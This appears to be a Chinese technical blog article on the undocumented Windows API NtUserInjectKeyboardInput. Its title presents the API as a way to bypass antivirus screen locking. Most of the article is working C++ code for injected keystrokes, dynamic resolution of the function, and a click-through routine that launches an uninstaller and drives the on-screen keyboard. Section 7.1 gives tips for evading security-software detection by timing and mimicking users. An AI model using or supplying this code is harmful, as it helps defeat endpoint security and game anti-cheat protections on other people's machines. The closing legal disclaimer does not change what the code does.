NtUserInjectKeyboardInput函数绕过杀软屏幕锁定模拟键鼠
字数 1620 2025-08-22 22:47:30
Windows内部API:NtUserInjectKeyboardInput函数详解与实战应用
1. 函数概述
NtUserInjectKeyboardInput是Windows操作系统内部的未公开API,属于NtUser系列函数之一。该函数主要用于模拟键盘输入,具有以下关键特性:
- 未公开性:微软未在标准SDK中提供官方文档
- 低层次调用:属于系统底层调用,直接与输入子系统交互
- 高优先级:在所有键盘模拟函数中具有最高优先级(约等于虚拟键盘级别)
- 应用场景:常见于需要绕过安全软件屏幕锁定的场景(如游戏外挂)
2. 函数原型与参数解析
2.1 函数原型
NTSTATUS NtUserInjectKeyboardInput(
ULONG dwFlags, // 注入标志
PKEYBDINPUT pKeyBdInput, // 键盘输入结构指针
ULONG cInputs // 输入事件数量
);
2.2 参数详解
-
dwFlags
- 指定注入的标志
- 通常设置为0,表示正常的键盘输入
- 其他可能的标志值未公开
-
pKeyBdInput
- 指向
KEYBDINPUT结构的指针 - 描述具体的键盘事件(按键、状态等)
- 指向
-
cInputs
- 指定要注入的键盘事件数量
- 通常为1(单个按键事件)
3. KEYBDINPUT结构体
typedef struct tagKEYBDINPUT {
USHORT wVk; // 虚拟键码
USHORT wScan; // 扫描码
DWORD dwFlags; // 事件标志
DWORD time; // 时间戳(通常为0)
ULONG_PTR dwExtraInfo; // 附加信息(通常为0)
} KEYBDINPUT;
3.1 dwFlags标志位
| 标志 | 值 | 描述 |
|---|---|---|
| KEYEVENTF_KEYDOWN | 0x0000 | 按键按下事件 |
| KEYEVENTF_KEYUP | 0x0002 | 按键释放事件 |
| KEYEVENTF_SCANCODE | 0x0008 | 使用扫描码而非虚拟键码 |
4. 虚拟键码表
| 键名 | 键码(十六进制) |
|---|---|
| A-Z | 0x41-0x5A |
| 0-9 | 0x30-0x39 |
| F1-F12 | 0x70-0x7B |
| Enter | 0x0D |
| Esc | 0x1B |
| Spacebar | 0x20 |
| Tab | 0x09 |
| Backspace | 0x08 |
| Ctrl | 0x11 |
| Alt | 0x12 |
| Shift | 0x10 |
| 方向键 | 0x25-0x28 |
5. 键盘模拟实战代码
5.1 基础键盘模拟示例
#include <Windows.h>
#include <iostream>
int main() {
// 创建KEYBDINPUT结构
KEYBDINPUT ki = {0};
ki.wVk = 0x41; // A键的虚拟键码
ki.dwFlags = KEYEVENTF_KEYDOWN; // 按下键
ki.wScan = MapVirtualKey(0x41, MAPVK_VK_TO_SCAN); // 获取扫描码
// 设定INPUT结构
INPUT input = {0};
input.type = INPUT_KEYBOARD;
input.ki = ki;
// 调用NtUserInjectKeyboardInput进行键盘输入注入
ULONG cInputs = 1;
NtUserInjectKeyboardInput(0, &input.ki, cInputs);
// 模拟释放A键
ki.dwFlags = KEYEVENTF_KEYUP; // 释放键
NtUserInjectKeyboardInput(0, &input.ki, cInputs);
std::cout << "键盘输入注入完成" << std::endl;
return 0;
}
5.2 组合键模拟(Ctrl+C)
#include <Windows.h>
void SimulateCtrlC() {
// 按下Ctrl键
KEYBDINPUT ctrlDown = {0};
ctrlDown.wVk = VK_CONTROL;
ctrlDown.dwFlags = KEYEVENTF_KEYDOWN;
INPUT ctrlDownInput = {0};
ctrlDownInput.type = INPUT_KEYBOARD;
ctrlDownInput.ki = ctrlDown;
// 按下C键
KEYBDINPUT cDown = {0};
cDown.wVk = 'C';
cDown.dwFlags = KEYEVENTF_KEYDOWN;
INPUT cDownInput = {0};
cDownInput.type = INPUT_KEYBOARD;
cDownInput.ki = cDown;
// 释放C键
KEYBDINPUT cUp = cDown;
cUp.dwFlags = KEYEVENTF_KEYUP;
INPUT cUpInput = cDownInput;
cUpInput.ki = cUp;
// 释放Ctrl键
KEYBDINPUT ctrlUp = ctrlDown;
ctrlUp.dwFlags = KEYEVENTF_KEYUP;
INPUT ctrlUpInput = ctrlDownInput;
ctrlUpInput.ki = ctrlUp;
// 执行注入
NtUserInjectKeyboardInput(0, &ctrlDownInput.ki, 1);
NtUserInjectKeyboardInput(0, &cDownInput.ki, 1);
NtUserInjectKeyboardInput(0, &cUpInput.ki, 1);
NtUserInjectKeyboardInput(0, &ctrlUpInput.ki, 1);
}
6. 鼠标模拟的替代方案
虽然NtUserInjectKeyboardInput不能直接模拟鼠标,但可以通过以下方法实现高优先级的鼠标模拟:
- 使用
SendInput移动鼠标 - 使用
NtUserInjectKeyboardInput模拟Enter键点击(替代鼠标左键)
6.1 鼠标模拟示例代码
#include <windows.h>
#include <iostream>
#include <thread>
#include <cstdlib>
#include <ctime>
// 模拟延时
void delay(int milliseconds) {
std::this_thread::sleep_for(std::chrono::milliseconds(milliseconds));
}
// 模拟鼠标点击
void clickAt(int x, int y) {
INPUT input = {0};
input.type = INPUT_MOUSE;
input.mi.dx = x;
input.mi.dy = y;
input.mi.dwFlags = MOUSEEVENTF_MOVE | MOUSEEVENTF_ABSOLUTE;
SendInput(1, &input, sizeof(INPUT)); // 移动鼠标
delay(10);
// 鼠标左键按下
input.mi.dwFlags = MOUSEEVENTF_LEFTDOWN;
SendInput(1, &input, sizeof(INPUT));
delay(10);
// 鼠标左键抬起
input.mi.dwFlags = MOUSEEVENTF_LEFTUP;
SendInput(1, &input, sizeof(INPUT));
}
// 获取屏幕键盘上的"Enter"键坐标
POINT getScreenKeyboardEnterKeyPosition() {
POINT enterKeyPosition = {50000, 20000}; // 示例位置,需根据实际情况调整
return enterKeyPosition;
}
int main() {
std::srand(static_cast<unsigned int>(std::time(nullptr)));
// 打开目标程序
system("start xx\\uninst.exe");
delay(1000);
// 获取窗口位置
POINT windowCenter;
HWND hwnd = FindWindow(NULL, TEXT("xxxx")); // 替换为实际窗口标题
if(!hwnd) {
std::cerr << "cant find" << std::endl;
return -1;
}
RECT rect;
GetWindowRect(hwnd, &rect);
windowCenter.x = (rect.left + rect.right) / 2;
windowCenter.y = (rect.top + rect.bottom) / 2;
// 模拟鼠标移动到窗口中心
SetCursorPos(windowCenter.x, windowCenter.y);
delay(10);
// 移动操作
SetCursorPos(windowCenter.x - 50, windowCenter.y + 50);
delay(10);
// 打开屏幕键盘
system("start osk.exe");
delay(200);
// 获取屏幕键盘上的"Enter"键坐标
POINT enterKeyPosition = getScreenKeyboardEnterKeyPosition();
// 模拟点击操作
for(int i = 0; i < 5; i++) {
// 随机偏移
int randomOffset = std::rand() % 5;
int direction = (std::rand() % 2 == 0) ? -1 : 1;
// 更新鼠标位置
SetCursorPos(windowCenter.x - 50 + randomOffset * direction,
windowCenter.y + 50);
// 模拟鼠标点击
INPUT input = {0};
input.type = INPUT_MOUSE;
input.mi.dwFlags = MOUSEEVENTF_LEFTDOWN;
SendInput(1, &input, sizeof(INPUT));
delay(50);
input.mi.dwFlags = MOUSEEVENTF_LEFTUP;
SendInput(1, &input, sizeof(INPUT));
delay(50);
// 模拟点击屏幕键盘上的Enter键
clickAt(enterKeyPosition.x, enterKeyPosition.y);
}
std::cout << "操作完成!" << std::endl;
return 0;
}
7. 高级应用技巧
7.1 绕过安全软件检测
由于NtUserInjectKeyboardInput具有高优先级,可以绕过某些安全软件的屏幕锁定机制。使用时需注意:
- 调用方式:通常需要通过动态获取函数地址的方式调用
- 注入时机:选择在安全软件检测间隙进行操作
- 行为模拟:配合正常的用户操作模式,避免被检测为异常行为
7.2 动态获取函数地址
#include <windows.h>
typedef NTSTATUS (WINAPI *NtUserInjectKeyboardInput_t)(ULONG, PKEYBDINPUT, ULONG);
NtUserInjectKeyboardInput_t GetNtUserInjectKeyboardInput() {
HMODULE hUser32 = LoadLibrary("user32.dll");
if(!hUser32) return NULL;
return (NtUserInjectKeyboardInput_t)GetProcAddress(hUser32, "NtUserInjectKeyboardInput");
}
int main() {
NtUserInjectKeyboardInput_t pNtUserInjectKeyboardInput = GetNtUserInjectKeyboardInput();
if(!pNtUserInjectKeyboardInput) {
printf("Failed to get function address\n");
return -1;
}
// 使用获取的函数指针进行调用
KEYBDINPUT ki = {0};
ki.wVk = 'A';
ki.dwFlags = KEYEVENTF_KEYDOWN;
pNtUserInjectKeyboardInput(0, &ki, 1);
return 0;
}
8. 注意事项与风险提示
- 法律风险:该技术可能被用于开发外挂等非法用途,请确保仅用于合法场景
- 系统兼容性:作为未公开API,不同Windows版本可能有所变化
- 稳定性风险:直接调用底层API可能导致系统不稳定
- 安全软件检测:现代安全软件可能会检测此类调用行为
- 替代方案:在合法场景下,优先考虑使用公开API如
SendInput或keybd_event
9. 总结
NtUserInjectKeyboardInput作为Windows内部API,提供了高优先级的键盘输入模拟能力。通过本文的详细解析和示例代码,开发者可以:
- 理解该函数的工作原理和调用方式
- 实现高优先级的键盘输入模拟
- 通过替代方案实现鼠标模拟
- 了解相关风险和法律限制
在实际应用中,建议仅在必要情况下使用此技术,并始终遵守相关法律法规。